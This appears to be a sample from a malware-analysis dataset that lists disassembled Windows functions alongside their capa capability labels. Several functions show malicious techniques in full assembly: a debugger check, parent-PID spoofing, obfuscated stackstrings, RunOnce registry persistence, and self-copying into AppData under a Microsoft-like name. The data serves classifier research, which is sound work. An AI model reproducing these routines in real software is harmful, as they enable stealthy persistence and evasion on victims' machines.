joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4649a8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x464b19
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x464af4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x111], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x111]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.00404c9c
lea eax, [ebp - 0x118]
mov edx, 0x464b30
call fcn.00404d7c
mov eax, dword [ebp - 0x118]
call fcn.00404f74
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x464a66
lea eax, [ebp - 0x111]
call fcn.00409a9c
mov ecx, eax
lea edx, [ebp - 0x111]
mov eax, esi
call fcn.00404ba4
jmp 0x464a6d
mov eax, esi
call fcn.00404ab4
cmp bl, 0x61
jae 0x464a8e
lea edx, [ebp - 0x11c]
mov eax, dword [esi]
call fcn.0040dacc
mov edx, dword [ebp - 0x11c]
mov eax, esi
call fcn.00404b08
jmp 0x464aa8
lea edx, [ebp - 0x120]
mov eax, dword [esi]
call fcn.0040da40
mov edx, dword [ebp - 0x120]
mov eax, esi
call fcn.00404b08
lea eax, [ebp - 0x124]
push eax
mov eax, dword [esi]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x128], 0xb
lea edx, [ebp - 0x12c]
xor ecx, ecx
mov eax, 0x464b3c
call fcn.0040a1a8
mov edx, dword [ebp - 0x124]
mov eax, esi
call fcn.00404b08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x464afb
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x46fce0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x46fd0e
mov eax, ebx
call fcn.00470794
cmp dword [ebx + 0x40], 0
je 0x46fd07
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46fd7f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46fd71
cmp dword [ebx + 8], 0
je 0x46fd30
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46fd42
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46fd71
cmp dword [ebx + 8], 0
je 0x46fd23
cmp eax, 3
je 0x46fd55
dec eax
jne 0x46fd23
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46fd23
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46fd23
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x46fd9d
cmp dword [ebx + 0x14], 0xcc
je 0x46fd9d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046fda8
pop ebx
ret
Function at 0x4832ac
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x48336b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, dword [0x48be7c]
call fcn.00404b4c
mov eax, dword [ebp - 4]
mov edx, dword [0x48a550]
mov edx, dword [edx]
call fcn.00404ec0
jne 0x483336
call sub.kernel32.dll_GetLogicalDrives
mov esi, eax
xor ebx, ebx
mov ecx, ebx
mov eax, 1
shl eax, cl
test eax, esi
je 0x483330
lea eax, [ebp - 8]
lea edx, [ebx + 0x41]
call fcn.00404c9c
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x483380
call fcn.00404dc0
mov eax, dword [ebp - 4]
call fcn.00467e54
test al, al
jne 0x483336
lea eax, [ebp - 4]
mov edx, dword [0x48a550]
mov edx, dword [edx]
call fcn.00404b4c
inc ebx
cmp ebx, 0x20
jne 0x4832ec
mov eax, dword [ebp - 4]
mov edx, dword [0x48a550]
mov edx, dword [edx]
call fcn.00404ec0
je 0x483350
mov eax, dword [ebp - 4]
call fcn.004875b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483372
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ad8
ret

Function at 0x483c9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f64
xor eax, eax
push ebp
push 0x483dd9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.004035d0
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x10
call fcn.004035d0
mov dword [ebp - 0x50], 0x44
xor eax, eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x1e], 0
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 6
xor eax, eax
push ebp
push 0x483db0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
push 0x28
cmp bl, 1
cmc
sbb eax, eax
push eax
push 0
push 0
lea eax, [ebp - 4]
call fcn.00404fcc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
and al, byte [ebp + 8]
je 0x483d89
push 0x3e8
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [ebp - 0xc], eax
mov eax, 0xa
call fcn.0046b460
mov eax, dword [0x48a498]
mov eax, dword [eax]
call fcn.00461178
cmp dword [ebp - 0xc], 0
je 0x483d90
cmp dword [ebp - 0xc], 0xffffffff
jne 0x483d54
jmp 0x483d90
call fcn.00404574
jmp 0x483dc3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483db7
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483de0
lea eax, [ebp - 4]
call fcn.00404ab4
ret
Function at 0x484880
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f64
xor eax, eax
push ebp
push 0x484a53
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor edx, edx
mov eax, 2
call fcn.00468118
mov esi, eax
cmp esi, 0xffffffff
je 0x484a25
mov dword [ebp - 0x134], 0x128
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.00468138
test eax, eax
je 0x484a1f
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.00404d24
jmp 0x484930
mov edx, dword [ebp - 0xc]
mov eax, 0x484a6c
call fcn.004050b8
mov edi, eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404d74
mov ecx, eax
sub ecx, edi
lea edx, [edi + 1]
mov eax, dword [ebp - 0xc]
call fcn.00404fd4
mov edx, dword [ebp - 0xc]
mov eax, 0x484a6c
call fcn.004050b8
test eax, eax
jg 0x484906
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 0xc]
call fcn.00408c0c
mov eax, dword [ebp - 0x138]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408c0c
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404ec0
jne 0x484a0a
mov bl, 1
cmp byte [ebp - 5], 0
je 0x484a1f
mov eax, dword [0x48be78]
mov eax, dword [eax + 0x324]
mov edx, 0x484a78
call fcn.00404ec0
jne 0x4849e1
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x144], eax
mov byte [ebp - 0x140], 0xb
lea edx, [ebp - 0x144]
xor ecx, ecx
mov eax, 0x484a84
call fcn.0040a1a8
push 0x40004
mov eax, dword [ebp - 0xc]
call fcn.00404f74
mov edx, eax
mov ecx, 0x484adc
mov eax, dword [0x48a498]
mov eax, dword [eax]
call fcn.004614c4
jmp 0x4849e6
mov eax, 6
cmp eax, 6
jne 0x484a1f
push 0
mov eax, dword [ebp - 0x12c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
test eax, eax
sete bl
jmp 0x484a1f
lea edx, [ebp - 0x134]
mov eax, esi
call fcn.00468158
test eax, eax
jne 0x4848f1
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484a5a
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.00404ad8
lea eax, [ebp - 0xc]
call fcn.00404ab4
lea eax, [ebp - 4]
call fcn.00404ab4
ret
Function at 0x484af4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f64
mov eax, dword [ebp - 8]
call fcn.00404f64
xor eax, eax
push ebp
push 0x484be7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x26]
xor ecx, ecx
mov edx, 0x1e
call fcn.004035d0
mov eax, dword [0x48a498]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], 2
lea eax, [ebp - 0x2c]
mov ecx, 0x484c00
mov edx, dword [ebp - 4]
call fcn.00404dc0
mov eax, dword [ebp - 0x2c]
call fcn.00404f74
mov dword [ebp - 0x1e], eax
lea eax, [ebp - 0x30]
mov ecx, 0x484c00
mov edx, dword [ebp - 8]
call fcn.00404dc0
mov eax, dword [ebp - 0x30]
call fcn.00404f74
mov dword [ebp - 0x1a], eax
mov word [ebp - 0x16], 0x150
xor edx, edx
push ebp
push 0x484ba9
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x26]
push eax
call sub.shell32.dll_SHFileOperationA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484bbf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484bee
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00404ad8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ad8
ret

Function at 0x485500
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
add esp, 0xfffffde4
mov esi, edx
mov ebx, eax
mov dl, 1
mov al, 1
call fcn.004078ec
lea edx, [esp + 8]
push edx
push eax
call sub.wsock32.dll_WSAStartup
push 0x80
lea eax, [esp + 0x19c]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 0x198]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [esp], eax
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov dword [esp + 4], eax
mov eax, ebx
mov edx, dword [esp]
mov edx, dword [edx]
call fcn.00404cac
mov eax, esi
mov edx, dword [esp + 4]
call fcn.00404cac
call sub.wsock32.dll_WSACleanup
add esp, 0x21c
pop esi
pop ebx
ret
Function at 0x4873f8
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f64
mov eax, dword [ebp - 8]
call fcn.00404f64
xor eax, eax
push ebp
push 0x4875a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
call sub.user32.dll_GetShellWindow
mov ebx, eax
test ebx, ebx
je 0x487585
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.user32.dll_GetWindowThreadProcessId
test eax, eax
je 0x487585
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0x80
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x487585
lea eax, [ebp - 0x14]
push eax
push 0
push 1
push 0
call sub.kernel32.dll_InitializeProcThreadAttributeList
mov eax, dword [ebp - 0x14]
push eax
call fcn.00406658
pop ecx
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x487575
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
push 0
push 1
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_InitializeProcThreadAttributeList
xor eax, eax
push ebp
push 0x487556
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 4
lea eax, [ebp - 0x18]
push eax
push 0x20000
push 0
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_UpdateProcThreadAttribute
test eax, eax
je 0x48753f
lea eax, [ebp - 0x64]
xor ecx, ecx
mov edx, 0x48
call fcn.004035d0
lea eax, [ebp - 0x74]
xor ecx, ecx
mov edx, 0x10
call fcn.004035d0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x64], 0x48
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebp - 8]
call fcn.00404f74
push eax
push 0
push 0x80008
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f74
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x48753f
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48755d
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_DeleteProcThreadAttributeList
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4875a7
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ad8
ret
Function at 0x40123f
Capabilities:
Create pipe
Get thread local storage value
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040c290
mov eax, dword [0x245a25c]
mov ecx, dword [0x2459ce8]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401333
mov edi, ecx
mov ebx, eax
cmp dword [0x245a25c], 0x959
jne 0x401323
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push str.nitocobadewepoyalovacapedekakor
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.yabufipafu
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x40126b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4045f9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441058]
jne 0x404603
repz ret
jmp fcn.0040919a

Function at 0x40b9fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406d40
and dword [ebp - 0x14], 0
cmp dword [0x447b40], 0
mov dword [ebp - 0x18], eax
jne 0x40baae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40bb56
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40bb56
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x447b40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x447b44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x447b48], eax
call edi
push eax
call esi
mov dword [0x447b50], eax
test eax, eax
je 0x40baae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x447b4c], eax
mov eax, dword [0x447b4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40bb07
cmp dword [0x447b50], ecx
je 0x40bb07
push eax
call esi
push dword [0x447b50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40bb07
test ebx, ebx
je 0x40bb07
call edi
test eax, eax
je 0x40bafe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40bafe
test byte [ebp - 8], 1
jne 0x40bb07
or dword [ebp + 0x10], 0x200000
jmp 0x40bb3a
mov eax, dword [0x447b44]
cmp eax, dword [ebp - 0x18]
je 0x40bb3a
push eax
call esi
test eax, eax
je 0x40bb3a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40bb3a
mov eax, dword [0x447b48]
cmp eax, dword [ebp - 0x18]
je 0x40bb3a
push eax
call esi
test eax, eax
je 0x40bb3a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x447b40]
call esi
test eax, eax
je 0x40bb56
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40bb58
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045f9
leave
ret
Function at 0x438ca9
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
or edi, ebx
call fcn.00438cd8
and ebx, edi
xor dword [eax], ecx
push edi
pop ebx
or edi, edi
inc eax
dec edi
dec ebx
sub edi, 1
cmp eax, esi
jne fcn.00438ca9
sub edi, 0x7a28d0bc
ret
Function at 0x10002830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0x1000287f
test ebx, ebx
je 0x10002873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100028f9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
call fcn.10003030
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.10003030
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x10002902
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x10002948
call fcn.10003030
test eax, eax
jne 0x1000292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.100082a0
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.10002830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002960
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10008150
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10002ac0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0xc], 0
test eax, eax
je 0x10002b1c
lea edi, [eax + 0x202]
mov dword [esp + 0xc], 0x404
mov ebx, edi
mov esi, eax
add edi, 0x202
jmp 0x10002b20
xor esi, esi
xor ebx, ebx
push 0x100
push esi
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.10008090
test eax, eax
je 0x10002b53
mov ecx, esi
jmp 0x10002c40
xor eax, eax
mov dword [esp + 0x18], 0x520050
mov ecx, 0x52
mov word [esp + 0x24], ax
push ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x440049
push eax
mov dword [esp + 0x28], 0x520055
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.10008150
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.10008090
test eax, eax
je 0x10002bd8
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002bd3
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002bd5
xor edi, edi
push esi
jmp 0x10002c2f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Microsoft_
push ebx
call esi
lea eax, [esp + 0x18]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x14]
mov edx, ebx
call fcn.10002890
add esp, 4
test eax, eax
je 0x10002c45
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x10002c2c
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x10002c2e
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, edi
add esp, 0xc
call fcn.10002960
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]